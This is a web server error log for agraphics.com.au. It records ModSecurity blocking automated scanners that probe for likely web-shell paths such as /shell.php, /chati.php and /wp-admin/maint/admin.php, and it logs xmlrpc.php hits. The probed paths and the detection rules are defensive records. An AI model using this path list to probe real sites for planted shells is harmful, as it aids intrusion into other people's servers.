[Fri Mar 13 22:33:50.791430 2026] [proxy_fcgi:error] [pid 61929:tid 62018] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:51.003579 2026] [proxy_fcgi:error] [pid 61929:tid 62015] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:51.217934 2026] [proxy_fcgi:error] [pid 61929:tid 62008] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:51.430498 2026] [proxy_fcgi:error] [pid 61929:tid 62021] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:51.642978 2026] [proxy_fcgi:error] [pid 61929:tid 62009] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:51.855550 2026] [proxy_fcgi:error] [pid 61929:tid 62013] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:52.068541 2026] [proxy_fcgi:error] [pid 61929:tid 62022] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:52.277090 2026] [:error] [pid 61929:tid 62004] [client 4.204.233.55:38252] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQgUDGGsow2jgUjLty98wAAAIA"]
[Fri Mar 13 22:33:53.118462 2026] [:error] [pid 60496:tid 60515] [client 4.204.233.55:38226] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQgUQb67oGiJ3jaL8wQ7QAAA0s"]
[Fri Mar 13 22:33:53.945202 2026] [:error] [pid 60496:tid 60519] [client 4.204.233.55:38220] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQgUQb67oGiJ3jaL8wQ8gAAA08"]
[Fri Mar 13 22:33:54.775297 2026] [:error] [pid 9311:tid 9374] [client 4.204.233.55:38244] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQgUlTiCkU4QLmYwPk7QAAAAlc"]
[Fri Mar 13 23:26:45.763130 2026] [proxy_fcgi:error] [pid 9309:tid 9343] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:45.974976 2026] [proxy_fcgi:error] [pid 9309:tid 9331] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:46.186442 2026] [proxy_fcgi:error] [pid 9309:tid 9342] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:46.397131 2026] [proxy_fcgi:error] [pid 9309:tid 9325] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:46.607015 2026] [proxy_fcgi:error] [pid 9309:tid 9344] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:46.817069 2026] [proxy_fcgi:error] [pid 9309:tid 9339] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:47.027895 2026] [proxy_fcgi:error] [pid 9309:tid 9340] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:47.240716 2026] [proxy_fcgi:error] [pid 9309:tid 9324] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:47.451090 2026] [proxy_fcgi:error] [pid 9309:tid 9333] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:47.661481 2026] [proxy_fcgi:error] [pid 9309:tid 9345] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:47.879031 2026] [proxy_fcgi:error] [pid 9309:tid 9330] [client 4.204.233.55:30976] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 23:26:48.085160 2026] [:error] [pid 9309:tid 9323] [client 4.204.233.55:30976] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQsuKo1KEMMghNWAN9Z6QAAAgA"]
[Fri Mar 13 23:26:48.912829 2026] [:error] [pid 60436:tid 60491] [client 4.204.233.55:30988] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQsuII3PEddCArY1AawrQAAAxY"]
[Fri Mar 13 23:26:49.743631 2026] [:error] [pid 60436:tid 60471] [client 4.204.233.55:31185] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQsuYI3PEddCArY1AawrgAAAwI"]
[Fri Mar 13 23:26:50.569250 2026] [:error] [pid 60436:tid 60472] [client 4.204.233.55:31171] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chati.php"] [unique_id "abQsuoI3PEddCArY1AawsAAAAwM"]
[Sat Mar 14 00:51:37.940502 2026] [:error] [pid 48070:tid 48079] [client 103.197.49.103:8364] [client 103.197.49.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.197.49.103, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abRAmUIvrhMS5BVHxNkFkgAAAAc"]
[Sat Mar 14 00:51:37.953627 2026] [proxy_fcgi:error] [pid 48070:tid 48079] [client 103.197.49.103:8364] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 01:02:08.582879 2026] [:error] [pid 48070:tid 48093] [client 109.69.0.203:52583] [client 109.69.0.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.69.0.203, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abRDEEIvrhMS5BVHxNkLLgAAABU"]
[Sat Mar 14 01:02:08.595318 2026] [proxy_fcgi:error] [pid 48070:tid 48093] [client 109.69.0.203:52583] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:36.975257 2026] [proxy_fcgi:error] [pid 47891:tid 47969] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:37.183866 2026] [proxy_fcgi:error] [pid 47891:tid 47967] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:37.393138 2026] [proxy_fcgi:error] [pid 47891:tid 47979] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:37.605277 2026] [proxy_fcgi:error] [pid 47891:tid 47975] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:37.814983 2026] [proxy_fcgi:error] [pid 47891:tid 47984] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:38.024203 2026] [proxy_fcgi:error] [pid 47891:tid 47988] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:38.233472 2026] [proxy_fcgi:error] [pid 47891:tid 47989] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:38.442029 2026] [proxy_fcgi:error] [pid 47891:tid 47983] [client 4.204.197.4:20357] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 02:12:38.648381 2026] [:error] [pid 47891:tid 47980] [client 4.204.197.4:20357] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "abRTlvchNnuMqi7I_WEM6QAAAI4"]
[Sat Mar 14 02:12:39.056824 2026] [:error] [pid 47905:tid 47997] [client 4.204.197.4:20370] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "abRTlxaYZayP4o4wpJc1RAAAAUQ"]
[Sat Mar 14 02:12:39.473047 2026] [:error] [pid 47878:tid 47958] [client 4.204.197.4:20473] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "abRTl38jymmmpr1jcBe3TgAAAFM"]
[Sat Mar 14 02:12:39.910887 2026] [:error] [pid 47905:tid 48006] [client 4.204.197.4:20434] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "abRTlxaYZayP4o4wpJc1RQAAAU0"]
[Sat Mar 14 02:12:40.339883 2026] [:error] [pid 47905:tid 47993] [client 4.204.197.4:20431] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "abRTmBaYZayP4o4wpJc1RwAAAUA"]
[Sat Mar 14 02:12:40.774258 2026] [:error] [pid 47905:tid 48012] [client 4.204.197.4:20459] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "abRTmBaYZayP4o4wpJc1SwAAAVM"]
[Sat Mar 14 02:12:41.206455 2026] [:error] [pid 47891:tid 47969] [client 4.204.197.4:20369] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "abRTmfchNnuMqi7I_WEM7AAAAIM"]
[Sat Mar 14 02:12:41.640818 2026] [:error] [pid 47878:tid 47957] [client 4.204.197.4:20453] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "abRTmX8jymmmpr1jcBe3UwAAAFI"]
[Sat Mar 14 02:12:42.054320 2026] [:error] [pid 47891:tid 47978] [client 4.204.197.4:20467] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "abRTmvchNnuMqi7I_WEM7gAAAIw"]
[Sat Mar 14 02:12:42.464707 2026] [:error] [pid 47891:tid 47973] [client 4.204.197.4:20449] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "abRTmvchNnuMqi7I_WEM8AAAAIc"]
[Sat Mar 14 02:12:42.876511 2026] [:error] [pid 47891:tid 47988] [client 4.204.197.4:20360] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "abRTmvchNnuMqi7I_WEM8wAAAJY"]
[Sat Mar 14 02:12:43.286487 2026] [:error] [pid 47891:tid 47981] [client 4.204.197.4:20446] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "abRTm_chNnuMqi7I_WEM-AAAAI8"]
[Sat Mar 14 02:12:43.703308 2026] [:error] [pid 47905:tid 48011] [client 4.204.197.4:20448] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "abRTmxaYZayP4o4wpJc1UgAAAVI"]
[Sat Mar 14 02:12:44.112435 2026] [:error] [pid 48070:tid 48083] [client 4.204.197.4:20461] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "abRTnEIvrhMS5BVHxNkwyAAAAAs"]
[Sat Mar 14 02:12:44.523562 2026] [:error] [pid 48070:tid 48089] [client 4.204.197.4:20356] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "abRTnEIvrhMS5BVHxNkwyQAAABE"]
[Sat Mar 14 02:12:44.941328 2026] [:error] [pid 47878:tid 47962] [client 4.204.197.4:20468] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "abRTnH8jymmmpr1jcBe3WgAAAFc"]
[Sat Mar 14 02:12:45.363658 2026] [:error] [pid 47878:tid 47946] [client 4.204.197.4:20457] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "abRTnX8jymmmpr1jcBe3XAAAAEc"]
[Sat Mar 14 02:12:45.780725 2026] [:error] [pid 48070:tid 48073] [client 4.204.197.4:20442] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "abRTnUIvrhMS5BVHxNkwzAAAAAE"]
[Sat Mar 14 02:12:46.195052 2026] [:error] [pid 47905:tid 48001] [client 4.204.197.4:20456] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "abRTnhaYZayP4o4wpJc1VgAAAUg"]
[Sat Mar 14 02:12:46.619517 2026] [:error] [pid 47891:tid 47988] [client 4.204.197.4:20364] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "abRTnvchNnuMqi7I_WENAAAAAJY"]
[Sat Mar 14 02:12:47.031879 2026] [:error] [pid 47891:tid 47971] [client 4.204.197.4:20463] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "abRTn_chNnuMqi7I_WENBAAAAIU"]
[Sat Mar 14 02:12:47.444504 2026] [:error] [pid 48070:tid 48076] [client 4.204.197.4:20365] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "abRTn0IvrhMS5BVHxNkw0AAAAAQ"]
[Sat Mar 14 02:12:47.858088 2026] [:error] [pid 47891:tid 47990] [client 4.204.197.4:20374] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "abRTn_chNnuMqi7I_WENBgAAAJg"]
[Sat Mar 14 02:12:48.278675 2026] [:error] [pid 47891:tid 47985] [client 4.204.197.4:20363] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "abRToPchNnuMqi7I_WENBwAAAJM"]
[Sat Mar 14 02:12:48.727098 2026] [:error] [pid 47905:tid 48004] [client 4.204.197.4:20353] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "abRToBaYZayP4o4wpJc1XAAAAUs"]
[Sat Mar 14 02:12:49.144919 2026] [:error] [pid 47891:tid 47974] [client 4.204.197.4:20411] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "abRTofchNnuMqi7I_WENCgAAAIg"]
[Sat Mar 14 02:12:49.559061 2026] [:error] [pid 47891:tid 47987] [client 4.204.197.4:20306] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "abRTofchNnuMqi7I_WENCwAAAJU"]
[Sat Mar 14 02:12:49.997304 2026] [:error] [pid 47905:tid 47995] [client 4.204.197.4:20418] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "abRToRaYZayP4o4wpJc1YAAAAUI"]
[Sat Mar 14 02:12:50.418103 2026] [:error] [pid 47905:tid 48011] [client 4.204.197.4:20377] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "abRTohaYZayP4o4wpJc1YgAAAVI"]
[Sat Mar 14 02:12:50.832124 2026] [:error] [pid 47891:tid 47969] [client 4.204.197.4:20430] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "abRTovchNnuMqi7I_WENDAAAAIM"]
[Sat Mar 14 02:12:51.248433 2026] [:error] [pid 47878:tid 47951] [client 4.204.197.4:20439] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "abRTo38jymmmpr1jcBe3YwAAAEw"]
[Sat Mar 14 02:12:51.665296 2026] [:error] [pid 48070:tid 48092] [client 4.204.197.4:20352] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "abRTo0IvrhMS5BVHxNkw1gAAABQ"]
[Sat Mar 14 02:12:52.092079 2026] [:error] [pid 47878:tid 47940] [client 4.204.197.4:20471] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "abRTpH8jymmmpr1jcBe3aAAAAEE"]
[Sat Mar 14 02:12:52.506479 2026] [:error] [pid 48070:tid 48080] [client 4.204.197.4:20432] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "abRTpEIvrhMS5BVHxNkw1wAAAAg"]
[Sat Mar 14 02:12:52.916819 2026] [:error] [pid 47878:tid 47948] [client 4.204.197.4:20417] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "abRTpH8jymmmpr1jcBe3bQAAAEk"]
[Sat Mar 14 02:12:53.326908 2026] [:error] [pid 47878:tid 47939] [client 4.204.197.4:20394] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "abRTpX8jymmmpr1jcBe3bwAAAEA"]
[Sat Mar 14 02:12:53.739073 2026] [:error] [pid 47878:tid 47942] [client 4.204.197.4:20465] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abRTpX8jymmmpr1jcBe3cAAAAEM"]
[Sat Mar 14 02:12:54.161503 2026] [:error] [pid 47878:tid 47957] [client 4.204.197.4:20474] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abRTpn8jymmmpr1jcBe3cwAAAFI"]
